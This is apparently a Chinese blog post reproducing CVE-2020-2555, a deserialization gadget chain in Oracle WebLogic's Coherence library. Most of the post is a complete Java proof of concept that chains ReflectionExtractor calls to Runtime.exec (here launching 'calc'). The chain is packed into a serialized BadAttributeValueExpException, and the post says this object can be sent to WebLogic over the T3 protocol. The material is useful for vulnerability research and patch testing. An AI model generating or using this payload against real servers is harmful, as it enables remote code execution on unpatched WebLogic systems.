• CVE-2020-2555 weblogic 反序列化gadget 复现


    简介

    该反序列化的gadget存在与coherence包中。具体可以见分析

    构造chain类似于common-collection的chain,可以照葫芦画瓢。

    mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。

    反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

    poc

    package org.example;
    
    import com.tangosol.util.ValueExtractor;
    import com.tangosol.util.extractor.ChainedExtractor;
    import com.tangosol.util.extractor.ReflectionExtractor;
    import com.tangosol.util.filter.AlwaysFilter;
    import com.tangosol.util.filter.LimitFilter;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    
    /*
    Powered by UnicodeSec
     */
    
    public class App 
    {
        public static void main( String[] args ) throws IOException, ClassNotFoundException {
            ValueExtractor[] poc = new ValueExtractor[]{
                    new ReflectionExtractor("getMethod", new Object[] {
                            "getRuntime", new Class[0] }),
                    new ReflectionExtractor("invoke", new Object[] {
                            null, new Object[0] }),
                    new ReflectionExtractor("exec", new String[]{"calc"})
        };
            ChainedExtractor chained = new ChainedExtractor(poc);
            LimitFilter limit = new LimitFilter(new AlwaysFilter(), 1);
            limit.setComparator(chained);
            limit.setTopAnchor(Runtime.class);
            BadAttributeValueExpException expException = new BadAttributeValueExpException(limit);
    
            // 序列化测试
            ByteArrayOutputStream bytes = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bytes);
            oos.writeObject(expException);
            oos.close();
            //反序列化
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()));
            BadAttributeValueExpException newUser = (BadAttributeValueExpException)ois.readObject();
            System.out.println(newUser.toString());
    
        }
    }
    
    

  • 相关阅读:
    [Git]08 如何自动补全命令
    [Git]06 如何提交空目录
    [Git]05 如何使用分支
    [Git]04 如何使用标签
    [Git]03 如何查看提交历史
    29、前端知识点--sessioncookie oken
    28、前端知识点--跨域问题
    26、前端知识点--利用webpack搭建脚手架一套完整流程
    25、前端知识点--webpack篇之面试考点
    24、前端知识点--数组的合并
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12516572.html
Copyright © 2020-2023  润新知